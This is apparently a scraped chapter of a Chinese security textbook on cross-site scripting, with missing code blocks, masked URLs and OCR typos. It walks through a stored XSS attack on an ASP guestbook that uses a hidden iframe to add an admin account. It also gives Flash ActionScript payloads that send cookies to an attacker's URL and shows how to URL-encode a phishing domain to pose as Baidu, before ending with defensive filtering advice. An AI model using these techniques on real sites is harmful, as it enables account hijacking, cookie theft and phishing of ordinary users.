1、留言板xss漏洞分析
“深度学习留言板”是一个ASP的留言板程序,它具有全后台化管理、在线提交、审阅、编辑、删除等功能。同其他的留言板程序一样,这个留言板量比较小,但常用功能都实现了。这里重点模拟攻击者对的分析,以及攻击者是如何构造相关xss攻击的。
攻击者在发起xss前, -般先会进行分析,找到存在缺陷的地方,明确存在缺陷的值是否长度足够到可以进行xss攻击。这个系统的guestBook_add.asp页中包含这些内容。
具体的如下:
该段定义了调用数据库文件和页面标题、协议等常规项,下面进入页面实际内容部分,具体如下:
这里是关键,可以看到所有的用户提交数据都没有经过格式化或者过滤,即每个参数攻击者都可以利用。
这里直接将上面接收到的值传人到数据库中即可。该页面剩余中是进行各个值的定义,因为太长不再引用,定义归纳如下:
GuestName:姓名 GuestFace:头像 GuestFrom:来自于
OuestQQ; QQ信息 GuestMSN: MSN信息 OuestHomeP主页
GuestEmail:邮箱 GuestTel:对话
通过上述分析可知,基本上所有的字段都是没有过滤的,攻击者可直接利崩。在确定存在缺陷可以进行xss后,冈为目的是提议,所以攻击者会在本地模拟管理员进行登录。具体操作步骤如下。
在IIS服务器中打开“deep_login.asp”页面,进入“深度空问”系统后台登录界面,9-40。当管理员输入后台管理的“用户名”和“密码”后,单击“登录”按钮,即可成功进入后台管理界面,9-41。
选择左侧列表中的“网站用户管理”选项,打开“用户管理”页面,在其中可以增加、删除管理员。这里就是构造提权的关键,9-42。单击“添加用户’链接,打开“用户添加管理”页面,在其中添加管理员用户,9-43。
打开adminUser Add.asp页面,对整个增加用户的关键进行详细分析。
从这里的判断可知,表单名称为forml,提交方式是post,username是指用户名。
以上是对用户的两次密码进行比对,如果不一样则返回错误信息。可以得出passwordl和password2两个关键名。
该段不但定义了参数传递,而且定义了MD5加密等操作。
2、详细xss中的提权构造
通过分析上述,攻击者可以知道管理员在何时增加新的管理账户。对程序来说,需要如下信息。
表单名:forml
提交方式:post
脚本地址:/admid AdminUser/admin User_Add.asp
新增管理员账户i username
新增管理员密码:passwordl、password2
新增管理员分组名:管理员
得到上述信息后,攻击者就会伪造一段符合上述要求的,且实现增加管理员操作。
上述是以管理员权限新增加一个管理员的所有操作,其中新增加的管理员名是
duoduosixu,密码是123456,权限等级在系统中是“管理员”。假设攻击者将此页面已经上传到一个可以正常访问的空间中。在知道管理员进行的操作细节后,攻击者现在只缺一个管理员权限,而这个权限的获得当然可以利用前面所讲述的xss盗取Cookies的方法,也可以跳过这一步,直接通过构造xss,让管理员在毫不知情的情况下就完成新增管理员的操作。
通过最开始的分析可知,在“填写留言”的时候是没有经过过滤的,也就是说,攻击者可以直接构造“;iframe...;,irame”,让管理员完成操作。
这里攻击者用到的是:;iframe src=http**********.html《iframe
3、xss提权攻击实例步骤分析
当准备工作完成后,攻击者就可以开始实际攻击了。xsS提权攻击的具体操作步骤如下。
在IIs服务器中打开“index.asp”页面,进入“深度学习留言板”系统主页,9-44。单击贞面上方的“我要留言”按钮,打开“添加留言”页面,根据分析,填写9-45的内容。
单击“留言”按钮,即可成功提交留言内容。当管理员再次登录后台进行管理工作的时候,选择左侧列表中的“留言板管理”选项,不用单击其他的内容,xsS就能直接触发,9-46。
此时选择左侧列表中的“网站用户管理”选项,即可看到除原本默认的管理员外,又新增了个名叫“duoduosixu”的管理员,9-47。
当然,这只是一次模拟攻击,如果是真实的攻击,则攻击者已经可以使用新增加的管理账户登录并进行后续攻击了。
xss钓鱼攻击分析
钓鱼式攻击又叫Phishing,是一种企图从网络中,通过伪装或欺骗的方法,获得正常用户的个人敏感信息,如用户名、密码和信用卡信息等。钓鱼式攻击通常是通过E-mail或者即时通信(IM)进行。常引导用户到URL的界面外观与真正网站几乎无区别的假冒网站中输入个人数据。简单来说,钓鱼式攻击意味着攻击者“钓”取受害人的数据和密码。
1、FLASH XSS钓鱼
和其他的xss攻击类似,FLASH XSS钓鱼不但能用手盗取Cookies、挂马攻击、提升
权限等方面,也可以用于网络钓鱼、发起DDoS攻击,具体的功能视攻击者不同目的而不同。为了便于理解,这里以盗取Cookies为例,其实质和钓鱼攻击是一样的。
Flash是网络上最常见的一种媒体承载平台,它有一个特性是可以在其中插入ActionScript脚本函数,当用户插入Flash时会弹出一个新窗口,指向攻击者预先插入的ActionScript脚本函数中的URL。攻击者可提前伪造一个知名站点,再做一个Flash动画,在第一帧中加入用于跳转到其他URL的ActionScript脚本函数,方式为:GetURL(”JavaScript:windows.open(‘http://*******)”,‘‘_self‘), 其中http://*******是用于收集Cookie的网页地址,这是一个典型的盗取Cookies的xss,如果将这个换成钓鱼站点地址,就具有很强的迷惑性了。
一般情况下,攻击者会将这个Flash动画发布在论坛中的签名、贴子或短消息中,用来盗取指定类型用户的相关信息。这种技术实现是有缺陷的,即在插入Flash时打开了一个窗口,该窗口不但让用户觉得别扭,引起警觉,同时各种弹出窗口阻挡程序也会阻挡。
追求完美的攻击者开始考虑如何更加隐蔽地发起xss攻击,即改造脚本来实现隐藏或者去掉弹出窗口的目的。
上面的ActionScript脚本中,使用了ActlonScript脚本函数“getURL”跳转到一个使用JavaScript协议的URL,在JavaScript中使用document.cookie得到Cookie,并把Cookie和一个用于收集cookie的网页地址连成一个http协议的URL地址,最后使用window.open打开合成的URL地址,从而把cookie用GET方式发送到用于收集Cookie的网页并记录下来。
该弹出窗口是由于JavaScnpt协议中的window.open所生成的,Window.open的第二个参数用来指定打开的窗口名字,其通用名称有如下几种。
media:在浏览器左边的媒体面板内打开;
blank:在新窗口中打开:
parent:在当前框架的父框架内打开。假如当前框架无父框架,此参数值等同于self:
search:在浏览器左边的搜索面板内打开;
self:在当前窗口中打开,覆盖当前文档:
top:在所有框架之外的最顶层窗口中打开。假设当前窗口无框架结构,此参数等同于self。由上述分析可知,攻击者如果使用“search”来打开这个窗口,就不会显示弹出窗口了。经过这样改造的ActionScnpt脚本为:GetURL(”JavaS cript:win dows.open(‘http://*******)”,”一self.),这样做的后果就是打开搜索面板,可以躲避弹出窗口软件。虽然不是直接弹出窗口,效果好一些,但用户也会怀疑。有些攻击者考虑既然支持JavaScript,就用JavaScnipt进行构造:
这里攻击者使用了Javascript协议,把网站上的一个Js文件插入本地文件。同样的道理,攻击者也可以用它把一个Js文件插入到进行跨站攻击的论坛网页中。
相应的ActionScript脚本改为:GetURL(“JavaScript: document.all.tags(‘SCRIPT’)【O].src=’http:*******这样,就比较完美地利用相关技术实现了xsS与钓鱼的配合。
2、UR编码与xss钓鱼
浏览器除了支持ASCII码字符的URL,还支持ASCII码以外的字符,同时支持对所有的字符进行编码。下面所讲述的URL编码,其实就是一个字符ASCII码的十六进制替代,不过存替代的过程中稍微有些变动,需要在前面加上“%”。如“、”的ASCII码是92,92的十六进制是Sc,所以“、”的url编码就是%sc。
对于网络上的普通用户来说,如果看到一个域名是陌生的,那就可能存在不确定性。用户肯定不去单击:如果看到一个经常都使用的域名,那信任度自然就会高很多。例如百度( www.*******),看到这个域名很多人就会直接单击了, 一点怀疑都没有,但是如果看到“www.*******.com”域名就不一定去单击了。如果链接地址是,对于普通用户来说,这个域名就是百度的域名,只是在后面加了一些页面地址而已,是可以绝对信任的。其实,该域名是经过了URL编码,还原回来的域名是www.*******,com时,则是绝对不能信任的。这个域名绝对不是百度的,而是diaoyu.com的一个子域名而已,意思是说这个域名和百度一点关系都没有,如果攻击者在这个域名上伪造一个百度的页面和相关功能,普通用户是绝
对看不出来的,如果将上例中的百度换成银行,危害程度很大。攻击者构造这样的URL其实很简单,具体操作步骤如下。
先在确定需要伪造的域名是www.*******之,将“.”中的每个字符都转换成ASCII码。转换方法可以使用网络上的在线转换工具,9-48。转换ASCII码后得到的对应关系如表9-1
在经过ASCII码转换以后,还需要进行ASCII码的十六进制转换。同样可以利用网络上的工具。当然,Windows系统中的计算机同样提供了这个功能,9-49。
在经过转换后,即可得到对应的十六进制如表9—2。
经过十六进制转换后,也不能直接用于构造URL.还需要进行最后一步,那就是增加“%”,如表9-3。
经过上述编码转换后,原本“www,*******”的域名就变成了“http://***********”编码。
在构造完这个域名以后,攻击者会在自己能控制的www.*******的域名中生成子域名,以便于让这个域名生效,再开始后续攻击。
如果攻击者通过这个域名下的伪造页面发起钓鱼攻击,可以分成如下几个典型方式:
利用xss邮件:在邮件内容中.直接包含这样的URL,再使用邮件群发程序进行海量的垃圾邮件群发,会有很多不明真象的用户信任这个百度的链接,进而进行访问。
利用脚本系统:攻击者可以存存在xss漏洞的脚本系统中提交这样的地址,再利用xss让用户访问。
直接利用URL编码欺骗:这种利用方式和xss关系不大,但它虽简单,所以很多攻击者在用。如攻击者可构造URL地址:【URL-http://******* %2e%64%69%61%6f%79%75%2e %63%6f/06d]http://*******,这个URL表面上看起来就是百度的一个超级链接,即使小心一点的用户用鼠标指向它或者观察源也看不出来其中存在问题。但是当用户访问以后,跳转的却是攻击者伪造的页面。
跨站脚本攻击的防范
dvHTMLEncode()函数是作者从ubbcode中提取的用于处理特殊字符串的函数。它能把一些特殊(例如尖括号之类)的字符替换成HTML特殊字符集中的字符。HTML语言是标签语言,所有的都足用标签括起才有用,而所有标签用尖括号括起。尖括号不能发挥原来的作用之后,攻击者插入的便失去作用。dvHTMLEncode()函数的完整如下:
这个函数的语法很简单,就是使用replace()函数把字符串中的一些特殊字符给替换掉,如果需要过滤其他特殊字符,可以试着自己添加上去。用dvHTMLEncode()函数把所有输入及输出的字符串过滤处理一遍,即可杜绝大部分跨站漏洞的出现。如简单留言本的漏洞足因为name 中的body没有经过过滤而直接输出到页面形成的,如下:
如果把修改成如下这样,就可以避免跨站漏洞的出现了:
刚dvHTMLEncode0函数过滤后输出,不会存在问题,也可以在用户提交过滤后写到数据库中,在其他地方也可以用这个函数过滤。只要过滤得彻底,就不用担心有跨站漏洞出现了。当然,用户也不能被动地期望网站的管理员去修补漏洞。如果网站的管理员因为不在意这方面而被人挂了木马,而用户访问了这个网页中的木马,最终吃亏的还是用户所以这里建议用户关闭IE解析JavaScript的功能。具体的操作步骤如下。
打开IE浏览器,选择“工具”→“Jntemet选项”菜单项,即可弹出“Internet选项”对话框,9-50。
切换到“安全”选项卡,选择“Intemet”图标,单击“自定义级别”按钮,弹出“安全设置”对话框,在其中自定义Intemet的安全级别,9-51。
找到“脚本”区域,再把“活动脚本”设置成“禁用”状态就可以了。
尽量不要访问安全性不一每的网站, 上网时打开杀毒软什的脚本监控功能,这样可以避免被恶意攻击者利用跨站脚本漏洞攻击的可能性。
点拨1:如何测试某个站点存在跨站攻击漏洞呢?
解答:使用“;scriptalert(‘xss’);,script”检测是最常见的直接测试脚本系统是否存在跨站脚本攻击的方法。一般情况下,如果这个可以正常被插入并执行,就说明站点是存在跨站攻击漏洞的,攻击者此后就可以构造各种实现各种功能。如果不能被正常插入并执行,则说明不存在跨站攻击漏洞。
点拨2:为什么在使用“getURL(“http://www.*********i”);”语句时,没有输入后面的分号“:”就提示语法错误?
解答:Actions acript的每行语句都以分号“:”结束,它不同于BASIC语青,Actions acript语句同c++、Java、Pascal 一样允许分多行书写,允许将一条很的长语句分割成两个或更多行,只要在结尾有个分号就行了。

我要回帖

更多关于 如何防止跨站脚本攻击 的文章

 

随机推荐